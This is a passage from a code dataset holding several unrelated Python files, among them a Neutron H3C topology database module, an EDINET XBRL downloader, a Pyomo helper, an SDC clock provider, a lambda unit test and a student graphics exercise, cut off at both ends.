attrs['_fields'] = doc_fields\n new_class = BaseMetaclass.__new__(cls, name, bases, attrs)\n new_class.query = QueryManager(new_class,collection)\n return new_class\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"249720370","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/nsfw_dl/loaders/konachan.py\n# Compiled at: 2017-09-19 09:41:52\n# Size of source mod 2**32: 817 bytes\n\"\"\"\nRead the license at:\nhttps://github.com/IzunaDevs/nsfw_dl/blob/master/LICENSE\n\"\"\"\nfrom nsfw_dl.bases import BaseSearchJSON\n\nclass KonachanRandom:\n __doc__ = '\\n Gets a random image from konachan.\\n '\n data_format = 'bs4/html'\n\n @staticmethod\n def prepare_url(args):\n \"\"\" ... \"\"\"\n type(args)\n return ('https://konachan.com/post/random', {}, {})\n\n @staticmethod\n def get_image(data):\n \"\"\" ... \"\"\"\n return f\"https:{data.find(id='highres').get('href')}\"\n\n\nclass KonachanSearch(BaseSearchJSON):\n __doc__ = ' Gets a random image with a specific tag from konachan. '\n data_format = 'json'\n\n @staticmethod\n def prepare_url(args):\n \"\"\" ... \"\"\"\n return (\n f\"https://konachan.com/post.json?page=dapi&s=post&q=index&tags={args}\", {}, {})","sub_path":"pycfiles/nsfw_dl-0.4.1-py3.6/konachan.cpython-36.py","file_name":"konachan.cpython-36.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"45331298","text":"import io\n\nfrom setuptools import find_packages, setup\n\nwith io.open('README.md', 'rt', encoding='utf8') as f:\n readme = f.read()\n\nsetup(\n name='managr',\n version='1.0.0',\n url='http://github.com/xChenny/bankr',\n license='MIT',\n maintainer='Andrew and David Chen',\n maintainer_email='andrew.chen923@gmail.com',\n description='The Bankr web application that helps freshers learn more about how to manage their money.',\n long_description=readme,\n packages=find_packages(),\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'flask_cors',\n 'flask',\n 'werkzeug',\n 'mongoengine',\n 'matplotlib',\n 'mpld3'\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"494785819","text":"# -*- coding: utf-8 -*-\n# @Author: Lu Shaohao(Bravo)\n# @Date: 2018-11-01 14:54:12\n# @Last Modified by: Lu Shaohao(Bravo)\n# @Last Modified time: 2018-11-07 20:26:50\n\nimport pdb\n\n# def add(a,b):\n# \treturn a+b\n\n# def cal(a,b):\n# \tpdb.set_trace()\n# \tc = add(a,b)\n# \tprint(c)\n\n\n# if __name__ == '__main__':\n# \tcal(3,4)\n\ndef pdb_test(arg):\n\tfor i in range(arg):\n\t\tprint(i)\n\treturn arg\n\npdb.run(\"pdb_test(3)\")","sub_path":"Python Learning/PDBDeomo.py","file_name":"PDBDeomo.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"428552103","text":"from .. import namespaces\r\nfrom .. import sdcdevice\r\nfrom .. import pmtypes\r\nfrom ..nomenclature import NomenclatureCodes as nc\r\nfrom . import providerbase\r\n\r\n# coded values for SDC ntp and time zone\r\nMDC_OP_SET_TIME_SYNC_REF_SRC = pmtypes.CodedValue(nc.MDC_OP_SET_TIME_SYNC_REF_SRC)\r\nMDC_ACT_SET_TIME_ZONE = pmtypes.CodedValue(nc.MDC_ACT_SET_TIME_ZONE)\r\n\r\nOP_SET_NTP = pmtypes.CodedValue(nc.OP_SET_NTP)\r\nOP_SET_TZ = pmtypes.CodedValue(nc.OP_SET_TZ)\r\n\r\nclass GenericSDCClockProvider(providerbase.ProviderRole):\r\n \"\"\" Handles operations for setting ntp server and time zone.\r\n It guarantees that mdib has a clock descriptor and that there operations for setting\r\n ReferenceSource and Timezone of clock state.\"\"\"\r\n\r\n def __init__(self, log_prefix):\r\n super(GenericSDCClockProvider, self).__init__(log_prefix)\r\n self._set_ntp_operations = []\r\n self._set_tz_operations = []\r\n\r\n def initOperations(self, mdib):\r\n super(GenericSDCClockProvider, self).initOperations(mdib)\r\n # create a clock descriptor and state if they do not exist in mdib\r\n clockDescriptor = self._mdib.descriptions.NODETYPE.getOne(namespaces.domTag('ClockDescriptor'), allowNone=True)\r\n if clockDescriptor is None:\r\n mdsContainer = self._mdib.descriptions.NODETYPE.getOne(namespaces.domTag('MdsDescriptor'))\r\n clock_descr_handle = 'clock_' + mdsContainer.handle\r\n self._logger.info('creating a clock descriptor, handle={}'.format(clock_descr_handle))\r\n clockDescriptor = self._mdib.createClockDescriptorContainer(handle=clock_descr_handle,\r\n parentHandle=mdsContainer.handle,\r\n codedValue=pmtypes.CodedValue(123),\r\n safetyClassification=pmtypes.SafetyClassification.INF)\r\n\r\n clockState = self._mdib.states.descriptorHandle.getOne(clockDescriptor.handle, allowNone = True)\r\n if clockState is None:\r\n clockState = self._mdib.mkStateContainerFromDescriptor(clockDescriptor)\r\n self._mdib.addState(clockState)\r\n\r\n\r\n def makeOperationInstance(self, operationDescriptorContainer):\r\n if operationDescriptorContainer.coding in (MDC_OP_SET_TIME_SYNC_REF_SRC.coding, OP_SET_NTP.coding):\r\n self._logger.info('instantiating \"set ntp server\" operation from existing descriptor handle={}'.format(\r\n operationDescriptorContainer.handle))\r\n set_ntp_operation = self._mkOperationFromOperationDescriptor(operationDescriptorContainer,\r\n currentArgumentHandler=self._setNTPString)\r\n self._set_ntp_operations.append(set_ntp_operation)\r\n return set_ntp_operation\r\n elif operationDescriptorContainer.coding in (MDC_ACT_SET_TIME_ZONE.coding, OP_SET_TZ.coding):\r\n self._logger.info('instantiating \"set time zone\" operation from existing descriptor handle={}'.format(\r\n operationDescriptorContainer.handle))\r\n set_tz_operation = self._mkOperationFromOperationDescriptor(operationDescriptorContainer,\r\n currentArgumentHandler=self._setTZString)\r\n self._set_tz_operations.append(set_tz_operation)\r\n return set_tz_operation\r\n return None # ?\r\n\r\n def makeMissingOperations(self):\r\n ops = []\r\n mdsContainer = self._mdib.descriptions.NODETYPE.getOne(namespaces.domTag('MdsDescriptor'))\r\n clockDescriptor = self._mdib.descriptions.NODETYPE.getOne(namespaces.domTag('ClockDescriptor'), allowNone=True)\r\n if not self._set_ntp_operations:\r\n self._logger.info('adding \"set ntp server\" operation, code = {}'.format(nc.MDC_OP_SET_TIME_SYNC_REF_SRC))\r\n set_ntp_operation = self._mkOperation(sdcdevice.sco.SetStringOperation,\r\n handle='SET_NTP_SRV_'+ mdsContainer.handle,\r\n operationTargetHandle=clockDescriptor.handle,\r\n codedValue=MDC_OP_SET_TIME_SYNC_REF_SRC,\r\n currentArgumentHandler=self._setNTPString)\r\n self._set_ntp_operations.append(set_ntp_operation)\r\n ops.append(set_ntp_operation)\r\n if not self._set_tz_operations:\r\n self._logger.info('adding \"set time zone\" operation, code = {}'.format(nc.MDC_ACT_SET_TIME_ZONE))\r\n set_tz_operation = self._mkOperation(sdcdevice.sco.SetStringOperation,\r\n handle='SET_TZONE_'+ mdsContainer.handle,\r\n operationTargetHandle=clockDescriptor.handle,\r\n codedValue=MDC_ACT_SET_TIME_ZONE,\r\n currentArgumentHandler=self._setTZString)\r\n self._set_tz_operations.append(set_tz_operation)\r\n ops.append(set_tz_operation)\r\n return ops\r\n\r\n\r\n def _setNTPString(self, operationInstance, value):\r\n '''This is the handler for the set ntp server operation.\r\n It sets the ReferenceSource value of clock state'''\r\n operationDescriptorHandle = operationInstance.handle\r\n operationDescriptorContainer = self._mdib.descriptions.handle.getOne(operationDescriptorHandle)\r\n operationTargetHandle = operationDescriptorContainer.OperationTarget\r\n self._logger.info('set value {} from {} to {}', operationTargetHandle, operationInstance.currentValue,\r\n value)\r\n with self._mdib.mdibUpdateTransaction() as mgr:\r\n state = mgr.getComponentState(operationTargetHandle)\r\n if state.NODETYPE == namespaces.domTag('MdsState'):\r\n mdsHandle = state.descriptorHandle\r\n mgr.ungetState(state)\r\n # look for the ClockState child\r\n clockDescriptors = self._mdib.descriptions.NODETYPE.get(namespaces.domTag('ClockDescriptor'),[])\r\n clockDescriptors = [ c for c in clockDescriptors if c.parentHandle == mdsHandle]\r\n if len(clockDescriptors) == 1:\r\n state = mgr.getComponentState(clockDescriptors[0].handle)\r\n if state.NODETYPE != namespaces.domTag('ClockState'):\r\n raise RuntimeError('_setNTPString: expected ClockState, got {}'.format(state.NODETYPE.localname))\r\n state.ReferenceSource = [pmtypes.ElementWithTextOnly(value)]\r\n\r\n\r\n def _setTZString(self, operationInstance, value):\r\n '''This is the handler for the set time zone operation.\r\n It sets the TimeZone value of clock state.'''\r\n operationDescriptorHandle = operationInstance.handle\r\n operationDescriptorContainer = self._mdib.descriptions.handle.getOne(operationDescriptorHandle)\r\n operationTargetHandle = operationDescriptorContainer.OperationTarget\r\n self._logger.info('set value {} from {} to {}', operationTargetHandle, operationInstance.currentValue,\r\n value)\r\n with self._mdib.mdibUpdateTransaction() as mgr:\r\n state = mgr.getComponentState(operationTargetHandle)\r\n if state.NODETYPE == namespaces.domTag('MdsState'):\r\n mdsHandle = state.descriptorHandle\r\n mgr.ungetState(state)\r\n # look for the ClockState child\r\n clockDescriptors = self._mdib.descriptions.NODETYPE.get(namespaces.domTag('ClockDescriptor'),[])\r\n clockDescriptors = [ c for c in clockDescriptors if c.parentHandle == mdsHandle]\r\n if len(clockDescriptors) == 1:\r\n state = mgr.getComponentState(clockDescriptors[0].handle)\r\n\r\n if state.NODETYPE != namespaces.domTag('ClockState'):\r\n raise RuntimeError('_setNTPString: expected Clockstate, got {}'.format(state.NODETYPE.localname))\r\n state.TimeZone = value\r\n","sub_path":"sdc11073/roles/clockprovider.py","file_name":"clockprovider.py","file_ext":"py","file_size_in_byte":8210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"365923027","text":"# Copyright 2016 The Johns Hopkins University Applied Physics Laboratory\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# lambdafcns contains symbolic links to lambda functions in boss-tools/lambda.\n# Since lambda is a reserved word, this allows importing from that folder \n# without updating scripts responsible for deploying the lambda code.\nfrom lambdafcns.write_id_index_lambda import handler, get_class_name\n\nimport botocore\nimport json\n#from spdb.spatialdb.object_indices import ObjectIndices\nimport unittest\nfrom unittest.mock import patch\n\nclass TestWriteIdIndexLambda(unittest.TestCase):\n def test_handler_ClientError(self):\n event = {\n 'id_index_table': 'idIndex',\n 's3_index_table': 's3Index',\n 'id_count_table': 'idCount',\n 'cuboid_bucket': 'cuboidBucket',\n 'id_index_new_chunk_threshold': 100,\n 'cuboid_object_key': 'blah',\n 'id_group': ['1', '2', '3'],\n 'version': 0,\n 'write_id_index_status': {\n 'done': False,\n 'delay': 0,\n 'retries_left': 2\n }\n }\n\n context = None\n resp = {}\n\n with patch('lambdafcns.write_id_index_lambda.ObjectIndices') as fake_obj_ind:\n ex = botocore.exceptions.ClientError(resp, 'UpdateItem')\n ex.errno = 10\n ex.message = 'blah'\n ex.strerror = 'blah'\n fake_obj_ind.return_value.write_id_index.side_effect = ex\n with patch(\n 'lambdafcns.write_id_index_lambda.get_region', \n return_value='us-east-1'\n ):\n # Function under test.\n actual = handler(event, context)\n\n self.assertFalse(actual['write_id_index_status']['done'])\n self.assertGreater(actual['write_id_index_status']['delay'], 0)\n self.assertEqual(1, actual['write_id_index_status']['retries_left'])\n self.assertIn('result', actual)\n\n\n def test_handler_raise_ClientError(self):\n \"\"\"\n Test that error is raised when retries_left == 0.\n \"\"\"\n event = {\n 'id_index_table': 'idIndex',\n 's3_index_table': 's3Index',\n 'id_count_table': 'idCount',\n 'cuboid_bucket': 'cuboidBucket',\n 'id_index_new_chunk_threshold': 100,\n 'cuboid_object_key': 'blah',\n 'id_group': ['1', '2', '3'],\n 'version': 0,\n 'write_id_index_status': {\n 'done': False,\n 'delay': 0,\n 'retries_left': 0\n }\n }\n\n context = None\n resp = {}\n\n with patch('lambdafcns.write_id_index_lambda.ObjectIndices') as fake_obj_ind:\n ex = botocore.exceptions.ClientError(resp, 'UpdateItem')\n ex.errno = 10\n ex.message = 'blah'\n ex.strerror = 'blah'\n fake_obj_ind.return_value.write_id_index.side_effect = ex\n with patch(\n 'lambdafcns.write_id_index_lambda.get_region', \n return_value='us-east-1'\n ):\n with self.assertRaises(botocore.exceptions.ClientError):\n # Function under test.\n handler(event, context)\n\n\n def test_get_class_name(self):\n resp = {}\n ex = botocore.exceptions.ClientError(resp, 'UpdateItem')\n actual = get_class_name(ex.__class__)\n self.assertEqual('ClientError', actual)\n\n\n def test_get_class_name_no_period(self):\n actual = get_class_name('foo')\n self.assertIsNone(actual)\n","sub_path":"lmbdtest/test_write_id_index_lambda.py","file_name":"test_write_id_index_lambda.py","file_ext":"py","file_size_in_byte":4109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"390568095","text":"# Jeremy Lo\n# CTEC 121 / Winter 2019\n# Module 4 / Problem Set 5\n# Problem 3 (25 points)\n\n\"\"\"\nDevelop a program that draws some sort of substantial face that includes two eyes, a nose, a mouth with some teeth, two ears and some hair.\n\nYou will find faces that were drawn by students in prior classes in a file named faces.png.\n\"\"\"\n\nfrom graphics import *\n\ndef main():\n win = GraphWin(\"Face\",800,800)\n ear1 = Oval(Point(456.0, 411.0),Point(476.0, 444.0))\n ear1.setOutline(\"tan\")\n ear1.setFill(\"tan\")\n ear1.draw(win)\n\n ear2 = ear1.clone()\n ear2.move(-202,0)\n ear2.draw(win)\n \n face1 = Oval(Point(241.0, 301.0),Point(441.0, 594.0))\n face1.move(24,0)\n face1.setOutline(\"tan\")\n face1.setFill(\"tan\")\n face1.draw(win)\n\n \n # face2 = Line(Point(273.0, 506.0),Point(343.0, 590.0))\n # face2.draw(win)\n \n # eyes1 = Oval(Point(291.0, 420.0),Point(321.0, 384.0))\n eyes1 = Oval(Point(286.0, 396.0),Point(329.0, 425.0))\n\n eyes1.setFill(\"white\")\n eyes1.move(20,0)\n eyes1.draw(win)\n \n eyes2 = eyes1.clone()\n eyes2.setFill(\"white\")\n eyes2.move(80,0)\n eyes2.draw(win)\n\n nose1 = Polygon(Point(362.0, 415.0),Point(347.0, 463.0),Point(362.0, 466.0))\n nose1.draw(win)\n\n nose2 = Line(Point(362.0, 467.0),Point(362.0, 415.0))\n nose2.setOutline(\"tan\")\n nose2.draw(win)\n\n mouth1 = Oval(Point(351.0, 490.0),Point(373.0, 500.0))\n mouth1.setFill(\"white\")\n mouth1.move(0,10)\n mouth1.draw(win)\n\n teeth1 = Line(Point(351.0, 505.0),Point(373.0, 505.0))\n teeth1.draw(win)\n\n teeth2 = Line(Point(358.0, 501.0),Point(358.0, 509.0))\n teeth2.draw(win)\n\n teeth3 = teeth2.clone()\n teeth3.move(8,0)\n teeth3.draw(win)\n\n hair1 = Polygon(Point(369.0, 353.0),Point(392.0, 396.0),Point(394.0, 338.0))\n hair1.setFill(\"black\")\n hair1.draw(win)\n\n hair2 = Oval(Point(267.0, 355.0),Point(461.0, 289.0))\n hair2.move(0,10)\n hair2.setFill(\"black\")\n hair2.draw(win)\n\n hair3 = hair1.clone()\n hair3.move(20,0)\n hair3.draw(win)\n\n hair4 = hair3.clone()\n hair4.move(20,0)\n hair4.draw(win)\n\n hair5 = hair4.clone()\n hair5.move(20,0)\n hair5.draw(win)\n\n hair6 = Polygon(Point(450.0, 350.0),Point(461.0, 403.0),Point(461.0, 331.0))\n hair6.setFill(\"black\")\n hair6.draw(win)\n\n hair7 = hair1.clone()\n hair7.move(-20,0)\n hair7.draw(win)\n\n hair8 = hair7.clone()\n hair8.move(-20,0)\n hair8.draw(win)\n\n hair9 = hair7.clone()\n hair9.move(-20,0)\n hair9.draw(win)\n\n hair10 = hair9.clone()\n hair10.move(-20,0)\n hair10.draw(win)\n\n hair11 = hair10.clone()\n hair11.move(-20,0)\n hair11.draw(win)\n\n hair12 = Polygon(Point(265.0, 333.0),Point(292.0, 395.0),Point(295.0, 345.0))\n hair12.setFill(\"black\")\n hair12.draw(win)\n\n hair13 = Polygon(Point(266.0, 335.0),Point(266.0, 407.0),Point(285.0, 343.0))\n hair13.setFill(\"black\")\n hair13.draw(win)\n\n hair14 = Polygon(Point(271.0, 349.0),Point(255.0, 374.0),Point(270.0, 324.0))\n hair14.setFill(\"black\")\n hair14.draw(win)\n\n input(\"\")\n\n\nmain()","sub_path":"problem-set-5-problem-3.py","file_name":"problem-set-5-problem-3.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"135391827","text":"import requests\nimport xml.etree.ElementTree as ET\nfrom collections import defaultdict\nimport json\nimport os\nfrom zipfile import ZipFile\nfrom io import BytesIO\nimport sys\nimport csv\nimport pandas as pd\nimport datetime\n\nfrom AbstractUfoCatcherWrapper import AbstractUfoCatcherWrapper\n\nBASE_URL = 'http://resource.ufocatch.com/atom/edinetx/query/'\nNAMESPACE = '{http://www.w3.org/2005/Atom}'\n\n\nclass EDINETCatcher(AbstractUfoCatcherWrapper):\n def __init__(self):\n self.url = BASE_URL\n self.namespace = NAMESPACE\n\n def _get_target_info_dict(self, tree, target_name, namespace, date_from, date_to):\n target_dict = defaultdict(dict)\n for el in tree.findall('.//' + namespace + 'entry'):\n title = el.find(namespace + 'title').text # 要素のタイトル\n date_full = el.find(namespace + 'updated').text # その要素が登録された日付(TZや時刻込)\n date = self._convert_str_to_date(date_full[0:10]) # 年月日だけ抽出\n \n if not (date_from <= date and date <= date_to): continue # 日付でフィルタ\n if not target_name in str(title) : continue # タイトルでフィルタ\n \n _id = el.find(namespace + 'id').text\n xbrl_url = ''\n for link in el.findall('./' + namespace + 'link[@type=\"text/xml\"]'):\n url = link.attrib['href']\n if not (\"PublicDoc\" in url and \".xbrl\" in url): continue # Summaryのxmlだけ抽出\n xbrl_url = url\n break\n\n target_dict[_id] = {'id':_id, 'title':title, 'url':xbrl_url, 'date':date_full}\n return target_dict\n \n \n def _download_file(self, t_symbol, info, output_dir): \n if info['url'] == \"\": return\n response = requests.get(info['url'])\n if response.ok:\n save_path = output_dir + '/' + t_symbol + '/'\n os.makedirs(save_path, exist_ok=True)\n with open(save_path + info['id'] + '.xbrl', mode='w') as f:\n f.write(response.content.decode())\n","sub_path":"src/EDINETCatcher.py","file_name":"EDINETCatcher.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"126939629","text":"from .util import call_class_function\n\n_SETS_INDEX_KEY = \"sets\"\n_RANGE_INDEX_KEY = \"range\"\n_DEFAULT_INDEX_KEY = \"default\"\n\nclass PyomoItemCreator(object):\n\t''' Helper class for creating various Pyomo items '''\n\t@staticmethod\n\tdef _create_pyomo_item(pyomo_item_creator, pyomo_item_creator_arg):\n\t\treturn pyomo_item_creator(pyomo_item_creator_arg)\n\n\t@staticmethod\n\tdef _set_abstract_model_property(abstract_model, property_name, value):\n\t\tabstract_model.__setattr__(property_name, value)\n\t\t\n\t@staticmethod\n\tdef _create_and_set_abstract_model_property_item(abstract_model, property_name, pyomo_item_creator, pyomo_item_creator_arg):\n\t\t# Create the Pyomo item\n\t\tpyomo_item = PyomoItemCreator._create_pyomo_item(pyomo_item_creator, pyomo_item_creator_arg)\n\t\t# Set the property to the created item\n\t\tPyomoItemCreator._set_abstract_model_property(abstract_model, property_name, pyomo_item)\n\t\treturn pyomo_item\n\t\t\n\t@staticmethod\n\tdef _create_and_set_abstract_model_indexed_property_item(abstract_model, property_name_base, property_name_index, pyomo_item_creator, pyomo_item_creator_arg):\n\t\treturn PyomoItemCreator._create_and_set_abstract_model_indexed_property_item(abstract_model, property_name_base + property_name_index, pyomo_item_creator, pyomo_item_creator_arg)\n\t\t\n\t@staticmethod\n\tdef create_and_set_abstract_model_indexed_property_item(abstract_model, nameable, property_name_base, property_name_index, pyomo_item_creator, pyomo_item_creator_arg):\n\t\tname = nameable.get_name()\n\t\tif len(name) > 0:\n\t\t\treturn PyomoItemCreator._create_and_set_abstract_model_property_item(abstract_model, name, pyomo_item_creator, pyomo_item_creator_arg)\n\t\telse:\n\t\t\treturn PyomoItemCreator._create_and_set_abstract_model_indexed_property_item(abstract_model, property_name_base, property_name_index, pyomo_item_creator, pyomo_item_creator_arg)\n\t\t\t\n\t@staticmethod\n\tdef _create_pyomo_indexable_item_creator(indexable_type):\n\t\tdef _create_pyomo_indexable_type_item(indexable_item_dict):\n\t\t\tif len(indexable_item_dict[_SETS_INDEX_KEY]) > 0:\n\t\t\t\tif indexable_item_dict[_DEFAULT_INDEX_KEY] is None:\n\t\t\t\t\treturn indexable_type(*indexable_item_dict[_SETS_INDEX_KEY], within=indexable_item_dict[_RANGE_INDEX_KEY])\n\t\t\t\telse:\n\t\t\t\t\treturn indexable_type(*indexable_item_dict[_SETS_INDEX_KEY], within=indexable_item_dict[_RANGE_INDEX_KEY], default=indexable_item_dict[_DEFAULT_INDEX_KEY])\n\t\t\telse:\n\t\t\t\tif indexable_item_dict[_DEFAULT_INDEX_KEY] is None:\n\t\t\t\t\treturn indexable_type(within=indexable_item_dict[_RANGE_INDEX_KEY])\n\t\t\t\telse:\n\t\t\t\t\treturn indexable_type(within=indexable_item_dict[_RANGE_INDEX_KEY], default=indexable_item_dict[_DEFAULT_INDEX_KEY])\n\t\treturn _create_pyomo_indexable_type_item\n\t\t\n\t@staticmethod\n\tdef create_pyomo_indexable_items(abstract_model, set_map, indexable_items, property_base_name, indexable_item_type):\t\t\t\n\t\tmap = dict()\n\t\tfor i in range(len(indexable_items)):\n\t\t\tindexable_item = indexable_items[i]\n\t\t\tdefault = call_class_function(indexable_item, \"get_default\", None)\n\t\t\tindexable_item_arguments = {\n\t\t\t\t\t\t\t\t\t\t\t_SETS_INDEX_KEY: [set_map[set] for set in indexable_item.get_sets()],\n\t\t\t\t\t\t\t\t\t\t\t_RANGE_INDEX_KEY: set_map[indexable_item.get_range()],\n\t\t\t\t\t\t\t\t\t\t\t_DEFAULT_INDEX_KEY: default\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\tmap[indexable_item] = PyomoItemCreator.create_and_set_abstract_model_indexed_property_item(abstract_model,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tindexable_item,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tproperty_base_name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ti,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tPyomoItemCreator._create_pyomo_indexable_item_creator(indexable_item_type),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tindexable_item_arguments)\n\t\treturn map","sub_path":"readablepyomo/pyomoitemcreator.py","file_name":"pyomoitemcreator.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"532686550","text":"import csv\r\nimport os\r\nimport src.db as db\r\nimport src.transform as transform\r\n\r\ndef start_transformation(csv_data):\r\n\r\n cafe_data = transform.Transform(csv_data)\r\n # if __name__ == '__main__':\r\n \r\n db.create_products_table_in_cafe_db()\r\n print('Created products table')\r\n db.create_cafe_locations_table_in_cafe_db()\r\n print('Created cafe_locations table')\r\n db.create_orders_table_in_cafe_db()\r\n print('Created orders table')\r\n db.create_products_in_orders_table_in_cafe_db()\r\n print('Created products_in_orders table')\r\n\r\n cafe_data.remove_names()\r\n cafe_data.remove_payment_details()\r\n cafe_data.split_date_time()\r\n cafe_data.reverse_date()\r\n cafe_data.rejoin_date_time()\r\n cafe_data.add_id()\r\n print('Completed first set of transformation')\r\n \r\n db.load_into_cafe_locations_table(cafe_data.data)\r\n print('Loaded into cafe_locations table')\r\n db.load_into_orders_table_and_update_local_ids(cafe_data.data)\r\n print('Loaded into orders table')\r\n \r\n cafe_data.split_products()\r\n cafe_data.split_product_price()\r\n cafe_data.sort_by_id()\r\n print('Completed second set of transformation')\r\n \r\n db.load_into_products_table(cafe_data.data)\r\n print('Loaded into products table')\r\n db.load_into_products_in_orders_table(cafe_data.data)\r\n print('Loaded into products_in_orders table')\r\n","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"402838755","text":"# Copyright (c) 2013 OpenStack Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport sqlalchemy as sa\nfrom neutron.db import model_base\nfrom neutron.db import models_v2\nimport neutron.db.api as dbapi\nfrom oslo_log import log\nfrom oslo_utils import timeutils\n\nSTR_LEN = 255\nMAC_LEN = 16\nIF_LEN = 48\nIP_LEN = 48\nUUID_LEN = 36\nSEGTYPE_LEN = 12\nROLE_LEN = 16\nTYPE_LEN = 8\n\nLOG = log.getLogger(__name__)\n\n\nclass H3cHostTopology(model_base.BASEV2):\n \"\"\"computer node and corresponding leaf port topology information\"\"\"\n __tablename__ = 'h3c_host_topology'\n\n host_name = sa.Column(sa.String(STR_LEN), primary_key=True)\n host_mac = sa.Column(sa.String(MAC_LEN), nullable=False)\n leaf_port = sa.Column(sa.String(IF_LEN), primary_key=True)\n leaf_mac = sa.Column(sa.String(MAC_LEN), primary_key=True)\n leaf_bagg = sa.Column(sa.String(IF_LEN), nullable=True)\n created_at = sa.Column(sa.DateTime, nullable=True)\n\n\nclass H3cDeviceTopology(model_base.BASEV2):\n \"\"\"spine and leaf topology information\"\"\"\n __tablename__ = 'h3c_device_topology'\n\n device_mac = sa.Column(sa.String(MAC_LEN), primary_key=True)\n port = sa.Column(sa.String(IF_LEN), primary_key=True)\n peer_mac = sa.Column(sa.String(MAC_LEN), nullable=False)\n peer_port = sa.Column(sa.String(IF_LEN), nullable=False)\n port_type = sa.Column(sa.String(TYPE_LEN), nullable=False)\n role = sa.Column(sa.String(ROLE_LEN), nullable=False)\n created_at = sa.Column(sa.DateTime, nullable=True)\n bagg = sa.Column(sa.String(IF_LEN), nullable=True)\n\n\nclass H3cRelatedNetworks(model_base.BASEV2, models_v2.HasId,\n models_v2.HasTenant):\n \"\"\" Representation for table comware_related_nets\n A network id corresponding a segmentation ID.\n \"\"\"\n __tablename__ = 'h3c_related_nets'\n\n network_id = sa.Column(sa.String(UUID_LEN))\n segmentation_id = sa.Column(sa.Integer)\n segmentation_type = sa.Column(sa.String(SEGTYPE_LEN))\n created_at = sa.Column(sa.DateTime, nullable=True)\n\n\nclass H3cRelatedPorts(model_base.BASEV2, models_v2.HasId,\n models_v2.HasTenant):\n \"\"\" Representation for table comware_related_vms\n This table stores all the port informations.\n \"\"\"\n __tablename__ = 'h3c_related_ports'\n\n device_id = sa.Column(sa.String(STR_LEN))\n host_id = sa.Column(sa.String(STR_LEN))\n port_id = sa.Column(sa.String(UUID_LEN))\n network_id = sa.Column(sa.String(UUID_LEN))\n segmentation_id = sa.Column(sa.Integer)\n created_at = sa.Column(sa.DateTime, nullable=True)\n\n\nclass db_lib(object):\n def __init__(self):\n self.session = dbapi.get_session()\n self.smooth = False\n self.smoothTopology = {}\n self.smooth_host = {}\n\n def add_device_db(self, context, device_mac, port,\n peer_mac, peer_port,\n port_type, role, bagg=None):\n dev_db = H3cDeviceTopology(device_mac=device_mac,\n port=port,\n peer_mac=peer_mac,\n peer_port=peer_port,\n port_type=port_type,\n role=role,\n created_at=timeutils.utcnow(),\n bagg=bagg)\n context.session.add(dev_db)\n\n def create_device_topology(self, context, msg, batch):\n LOG.info(\"create_device_topology %s\", msg)\n with context.session.begin(subtransactions=True):\n for topo in msg:\n if self.smooth is True:\n self.smooth_topology(topo)\n\n query = context.session.query(H3cDeviceTopology)\n qry = query.filter_by(device_mac=topo['device_mac'],\n port=topo['port'])\n if qry.count() > 0:\n qry.delete()\n self.add_device_db(context,\n device_mac=topo['device_mac'],\n port=topo['port'],\n peer_mac=topo['peer_mac'],\n peer_port=topo['peer_port'],\n port_type=topo['port_type'],\n role=topo['role'],\n bagg=topo.get('bagg'))\n\n def delete_device_topology(self, context, msg):\n \"\"\"plug network cable or IP change or device replace\"\"\"\n with context.session.begin(subtransactions=True):\n for topo in msg:\n query = context.session.query(H3cDeviceTopology)\n query.filter_by(device_mac=topo['device_mac'],\n port=topo['port']).delete()\n\n def update_device_topology(self, context, msg):\n with context.session.begin(subtransactions=True):\n for topo in 